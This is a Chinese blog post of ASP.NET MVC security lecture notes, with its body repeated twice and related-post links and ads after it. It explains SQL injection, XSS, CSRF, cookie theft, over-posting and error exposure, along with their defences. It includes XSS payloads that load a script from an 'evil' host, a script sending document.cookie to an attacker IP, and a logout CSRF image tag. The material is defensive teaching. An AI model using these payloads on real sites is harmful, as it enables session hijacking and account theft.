常见网络安全攻击隐患
针对Asp.net MVC防御体系
安全性策略
where name='' and password=''
逻辑转接
where name='' and password='1' or '1=1'
脚本注入攻击
Asp.net webform
保护了一些情况
原则:
1、任何接收用户输入都要Encode,去掉Html标记
2、永远对任何人不加检查的使用HTML输入,白名单,
3、对Cookies进行验证
4、尽可能使用各种防范使用iss类库
永远不要相信用户的输入是安全的
攻击者是谁,想干嘛?
白帽黑客 -系统补丁 操作系统非常了解
黑帽黑客 -好奇心
攻击是如何进行的
社会工程学和凯文.米特尼克
黑客攻击的武器
• 不间断的尝试
• 各种专用设备
• 社会工程学技巧
垃圾邮件
广告发布和木马攻击的桥梁
常见攻击方式及其防范
• 跨站脚本攻击
• 跨域请求
• Cookie窃取
• 超载攻击方式
跨站脚本攻击
Cross-Site Scripting(xss)
url中输入的地方先
No blog!Sorry:<
查看源代码发现,没有Encode,如下:
<a href=”No blog! Sorry :<”>Rob Conery</a>
这时,可以输入脚本了:
“><iframe
src=”http://haha.juvenilelamepranks.example.com”
height=”400” width=500/>
iframe嵌入一图片,真正攻击可能更复杂
“></a><script
src=”http://srizbitrojan.evil.example.com”>
</script> <a href=”
以上为简单实例
被动攻击
主动注入
主动攻击介绍
将自己网站插入攻击网站,伪装成攻击网站一部分
下载软件都是主动攻击
避免XSS的办法
使用HTML.Encode来实现格式化所有内容
<% Html.Encode(Model.FirstName) %>
<%: Model.FirstName) %>. //同上面等价
<a href=”<%=Url.Action(“index”,”home”,new
{name=ViewData[“name”]})%>”>点击</a> //URL地址 没做处理
//处理过,以下两种干净的
<a href=”<%=Url.Action(“index”,”home”,new
{name=Html.AttributeEncode(ViewData[“name”])})%>”>点击</a>
或<a href=”<%=Url.Encode(Url.Action(“index”,”home”,
new {name=ViewData[“name”]}))%>”>点击</a>
JavaScript编码
public ActionResult Index(string UserName)
{
ViewData[“UserName”] = UserName;
return View();
}
<h2 id=”welcome-message”></h2>
<script type=”text/javascript”>
$(function () {
var message = ‘Welcome, <%: ViewData[“UserName”] %>!’;
$(“#welcome-message”).html(message).show();
});
</script>
JS调用,看上去没问题,用户写特殊URL
http://localhost:35976/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e
JS alert 没做任何不好的事情
但是可以做更多的事情
JS过滤
ntss的库
跨站请求
public ActionResult Logout() {
FormsAuth.SignOut();
return RedirectToAction(“Index”, “Home”);
}
<img src=”/account/logout” /> //页面
零尺寸图片
避免跨站欺骗攻击
• 操作身份认证
• 避免使用Get
• HTTP来源认证
<form action=”/account/register” method=”post”>
<%=Html.AntiForgeryToken()%></form>
<input type=”hidden” value=”012837udny31w90hjhf7u”> //隐秘字段
[ValidateAntiforgeryToken]
public ActionResult Register(…)
盗用Cookies
• Session Cookies //服务器通信指标
• 序列化Cookies //磁盘本地
禁用Cookies,就可以了,投票可以一直用
拷入化Cookies的窃取
跨站XSS脚本
<img src=”“http://www.a.com/a.jpg<script
type=text/javascript
src=”http://1.2.3.4:81/xss.js”>” /><<img
src=”http://www.a.com/a.jpg</script>
xss.js内容:
window.location=”http://1.2.3.4:81/r.php?u=”+document.
links[1].text”&l=”+document.links[1]+”&c=”+document.cookie;
避免Cookie被盗
-Response.Cookies["MyCookie"].value="Remembering you...";
-Response.Cookies["MyCookie"].HttpOnly=true; //只有服务器才能写
关于重复提交
[Bind(Include=”Name, Comment”)]
public class Review {
public int ReviewID { get; set; } // Primary key
public int ProductID { get; set; } // Foreign key
public Product Product { get; set; } // Foreign entity
public string Name { get; set; }
public string Comment { get; set; }
public bool Approved { get; set; }
}
[Bind(Exclude=”ReviewID, ProductID,Product,Approved”] //白名单,加入或排除
UpdateModel(review, “Review”, new string
{ “Name”, “Comment” });
public class ReviewViewModel {
public string Name { get; set; }
public string Comment { get; set; }
}
避免暴露错误信息
<customErrors mode="off">
能看到错误代码,源代码,数据库实例地址及名字等
改成ON
保护你的Controller
[Authorize]来锁定你的Action
[nonaction]来锁定所有不开放的Action
总结:
安全要靠自己
资源Url
微软安全中心
http://msdn.microsoft.com/enus/
security/default.aspx
AntiXSS
http://antixss.codeplex.com/
Open Web Application
Security Project (OWASP)
http://www.owasp.org/
2011-4-23 11:35 danny
针对Asp.net MVC防御体系
安全性策略
where name='' and password=''
逻辑转接
where name='' and password='1' or '1=1'
脚本注入攻击
Asp.net webform
保护了一些情况
原则:
1、任何接收用户输入都要Encode,去掉Html标记
2、永远对任何人不加检查的使用HTML输入,白名单,
3、对Cookies进行验证
4、尽可能使用各种防范使用iss类库
永远不要相信用户的输入是安全的
攻击者是谁,想干嘛?
白帽黑客 -系统补丁 操作系统非常了解
黑帽黑客 -好奇心
攻击是如何进行的
社会工程学和凯文.米特尼克
黑客攻击的武器
• 不间断的尝试
• 各种专用设备
• 社会工程学技巧
垃圾邮件
广告发布和木马攻击的桥梁
常见攻击方式及其防范
• 跨站脚本攻击
• 跨域请求
• Cookie窃取
• 超载攻击方式
跨站脚本攻击
Cross-Site Scripting(xss)
url中输入的地方先
No blog!Sorry:<
查看源代码发现,没有Encode,如下:
<a href=”No blog! Sorry :<”>Rob Conery</a>
这时,可以输入脚本了:
“><iframe
src=”http://haha.juvenilelamepranks.example.com”
height=”400” width=500/>
iframe嵌入一图片,真正攻击可能更复杂
“></a><script
src=”http://srizbitrojan.evil.example.com”>
</script> <a href=”
以上为简单实例
被动攻击
主动注入
主动攻击介绍
将自己网站插入攻击网站,伪装成攻击网站一部分
下载软件都是主动攻击
避免XSS的办法
使用HTML.Encode来实现格式化所有内容
<% Html.Encode(Model.FirstName) %>
<%: Model.FirstName) %>. //同上面等价
<a href=”<%=Url.Action(“index”,”home”,new
{name=ViewData[“name”]})%>”>点击</a> //URL地址 没做处理
//处理过,以下两种干净的
<a href=”<%=Url.Action(“index”,”home”,new
{name=Html.AttributeEncode(ViewData[“name”])})%>”>点击</a>
或<a href=”<%=Url.Encode(Url.Action(“index”,”home”,
new {name=ViewData[“name”]}))%>”>点击</a>
JavaScript编码
public ActionResult Index(string UserName)
{
ViewData[“UserName”] = UserName;
return View();
}
<h2 id=”welcome-message”></h2>
<script type=”text/javascript”>
$(function () {
var message = ‘Welcome, <%: ViewData[“UserName”] %>!’;
$(“#welcome-message”).html(message).show();
});
</script>
JS调用,看上去没问题,用户写特殊URL
http://localhost:35976/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e
JS alert 没做任何不好的事情
但是可以做更多的事情
JS过滤
ntss的库
跨站请求
public ActionResult Logout() {
FormsAuth.SignOut();
return RedirectToAction(“Index”, “Home”);
}
<img src=”/account/logout” /> //页面
零尺寸图片
避免跨站欺骗攻击
• 操作身份认证
• 避免使用Get
• HTTP来源认证
<form action=”/account/register” method=”post”>
<%=Html.AntiForgeryToken()%></form>
<input type=”hidden” value=”012837udny31w90hjhf7u”> //隐秘字段
[ValidateAntiforgeryToken]
public ActionResult Register(…)
盗用Cookies
• Session Cookies //服务器通信指标
• 序列化Cookies //磁盘本地
禁用Cookies,就可以了,投票可以一直用
拷入化Cookies的窃取
跨站XSS脚本
<img src=”“http://www.a.com/a.jpg<script
type=text/javascript
src=”http://1.2.3.4:81/xss.js”>” /><<img
src=”http://www.a.com/a.jpg</script>
xss.js内容:
window.location=”http://1.2.3.4:81/r.php?u=”+document.
links[1].text”&l=”+document.links[1]+”&c=”+document.cookie;
避免Cookie被盗
-Response.Cookies["MyCookie"].value="Remembering you...";
-Response.Cookies["MyCookie"].HttpOnly=true; //只有服务器才能写
关于重复提交
[Bind(Include=”Name, Comment”)]
public class Review {
public int ReviewID { get; set; } // Primary key
public int ProductID { get; set; } // Foreign key
public Product Product { get; set; } // Foreign entity
public string Name { get; set; }
public string Comment { get; set; }
public bool Approved { get; set; }
}
[Bind(Exclude=”ReviewID, ProductID,Product,Approved”] //白名单,加入或排除
UpdateModel(review, “Review”, new string
{ “Name”, “Comment” });
public class ReviewViewModel {
public string Name { get; set; }
public string Comment { get; set; }
}
避免暴露错误信息
<customErrors mode="off">
能看到错误代码,源代码,数据库实例地址及名字等
改成ON
保护你的Controller
[Authorize]来锁定你的Action
[nonaction]来锁定所有不开放的Action
总结:
安全要靠自己
资源Url
微软安全中心
http://msdn.microsoft.com/enus/
security/default.aspx
AntiXSS
http://antixss.codeplex.com/
Open Web Application
Security Project (OWASP)
http://www.owasp.org/
2011-4-23 11:35 danny
发表评论
-
10.2Asp.net MVC各层使用TDD方式
2011-05-01 12:09 803Asp.net MVC各层使用TDD方式 Asp.net M ... -
10.1TDD简介
2011-04-30 23:09 557MVC中的测试驱动开发 为什么需要TDD TDD的由来 它 ... -
8.2ASP.NET MVC2使用Ajax类库实例
2011-04-29 13:05 922ASP.NET MVC2使用Ajax类库实例 .net fo ... -
8.1Ajax类库介绍
2011-04-28 09:12 884在ASP.NET MVC中使用 -Microsoft ASP. ... -
7.2自定义开发Filter
2011-04-27 16:04 624Custom Filters ➤IAuthorization ... -
7.1Filter的使用
2011-04-26 22:20 500Filter的使用 -对Action的附加说明 Asp.n ... -
6.3Action的调用与属性
2011-04-26 09:43 665Action的调用与属性 1、唤起Action R ... -
6.2ActionResult的使用
2011-04-25 19:14 681ActionResult public abstract c ... -
6.1Controller类的基本构成
2011-04-25 09:17 668关于Controller Controller是什么? C ... -
5.6在Webform中使用routing
2011-04-23 22:48 668在Webform中使用routing 在Asp.net 4中使 ... -
5.5URL和Action匹配的秘密
2011-04-22 09:11 899Routes是如何把URL映射为Action -请求路由管道 ... -
5.4使用routing生成URL
2011-04-21 11:05 600使用routing生成URL URL生成器概述 1、质询每个 ... -
5.3使用Routes
2011-04-20 09:11 7395.3使用Routes 注册Area Route publi ... -
5.2Routes匹配URL的工作方式
2011-04-19 08:55 850URL的匹配规则 -site/{controller}/{ac ... -
5.1Url和Routes介绍
2011-04-17 12:05 6485.1Url和Routes介绍 关于Urls -域名好记好拼 ... -
4、View引擎介绍
2011-04-16 22:03 647View引擎介绍 Request =>Routing= ... -
3、HtmlHelper类(续)
2011-04-16 13:41 650HtmlHelper类(续) Html.TextArea 用 ... -
2、HtmlHelper类
2011-04-15 22:33 1101HtmlHelper类 <%Html. MVC1 & ... -
1、View层
2011-04-15 09:06 628ViewDataDictionary类 View 负责输出 ...
相关推荐
ASP.NET MVC2程序开发入门到精通系列课程(11):MVC程序安全限定(流畅)
ASP.NET MVC2程序开发入门到精通 ASP.NET MVC2 技术是微软又一个新的WEB开发技术,也是微软在ASP.NET 平台上有一个产品,这一技术旨在使用MVC架构呈现ASP...第11讲:MVC程序安全限定 第12讲:MVC中的测试驱动开发
Spring MVC 是一个强大的Java Web开发框架,用于构建可维护、高性能和松散耦合的Web应用程序。Hessian则是一种轻量级的RPC(Remote Procedure Call)协议,它允许Java对象在HTTP上进行远程调用,提供了高效的服务...
接着,程序会进行一系列的安全检查,如验证文件类型、大小限制等,防止恶意文件上传。最后,使用`move_uploaded_file()`函数将文件移动到服务器的指定目录。 2. **图片管理**: 图片管理通常包括上传、查看、编辑...
- **程序集限定名称**:是指定程序集的唯一标识符,包括程序集的名称、版本号、文化标识和公钥标记等。 - **签名程序集与非签名程序集的区别**:签名程序集可以确保代码的完整性和安全性。 #### 6. 数据处理 - **...
Spring MVC是Spring框架的一个模块,用于构建基于Java的Web应用程序,它提供了一个模型-视图-控制器(MVC)架构,使得开发过程更加简洁和模块化。 首先,我们需要创建一个新的Maven项目。在创建项目时,选择"webapp...
Struts1.2框架是Apache组织开发的一款基于MVC(Model-View-Controller)设计模式的Java Web应用程序框架,它为开发者提供了一种规范化的、可扩展的方式来组织和控制应用程序的业务逻辑。在这个"Struts1.2+mysql实现...
.NET Framework 是微软开发的一个软件框架,用于创建各种类型的应用程序,包括桌面应用(如 WinForm 应用)、Web 应用(如 ASP.NET WebForms、ASP.NET MVC)等。 **1.2 进程与线程的区别** 进程是操作系统资源分配...
在实际应用中,`getClass()`常用于简单Java类与参数自动赋值的场景,如Struts和Spring MVC框架。而“类.class”方式则将反射操作的类型控制交给用户,常见于Hibernate的数据保存和查询。`Class.forName()`是配置文件...
- MVC开发模式:模型-视图-控制器设计模式,用于结构化应用程序。 4. **二手市场功能**: - 用户管理:登录、注册,密码修改和找回。 - 商品发布与管理:用户提交商品信息,管理员审核,管理已发布的商品。 - ...
3. **MVC设计模式**: 这个通讯簿系统可能采用了Model-View-Controller(模型-视图-控制器)架构。Model代表业务逻辑,View负责显示结果,Controller处理用户交互。这种模式有助于代码的模块化和可维护性。 4. **...
Struts 是一个基于MVC(Model-View-Controller)架构的开源Java框架,主要用于构建企业级Web应用程序。在Struts框架中,开发者可以利用JDBC(Java Database Connectivity)API来与数据库进行交互。本文主要讨论...
- **Struts2**是一款基于MVC架构的Web应用程序框架,它通过配置文件来定义应用程序的行为。其中Filter-name、Filter-class和Mapping分别指: - **Filter-name**:过滤器的名称,用于标识过滤器。 - **Filter-class...
- **UNIAPP**:这是一款基于Vue.js开发的多端开发框架,能够编写一次代码,生成适应于H5、微信小程序、支付宝小程序、快应用等多个平台的应用。UNIAPP的使用,使得该系统能同时在网页和移动设备上运行,扩大了用户...
在在线考试系统的设计中,JAVA可以用来开发服务器端程序,处理用户请求、管理数据库、控制考试流程等。使用JAVA的Servlet和JSP(Java Server Pages)技术,可以创建动态网页,实现用户界面与后端逻辑的交互。此外,...
其语法简洁、功能强大,支持多种数据库连接,因此是构建动态网站和应用程序的理想选择。 二、ThinkPHP框架 ThinkPHP是一款基于PHP的轻量级框架,它遵循MVC(Model-View-Controller)设计模式,提供了丰富的组件和...
9. **MVC框架与Servlet**: 虽然Servlet可以单独使用,但现代Web开发通常使用MVC(Model-View-Controller)框架,如Spring MVC,它们在Servlet之上提供更高层次的抽象,简化开发过程。 通过学习Servlet,开发者...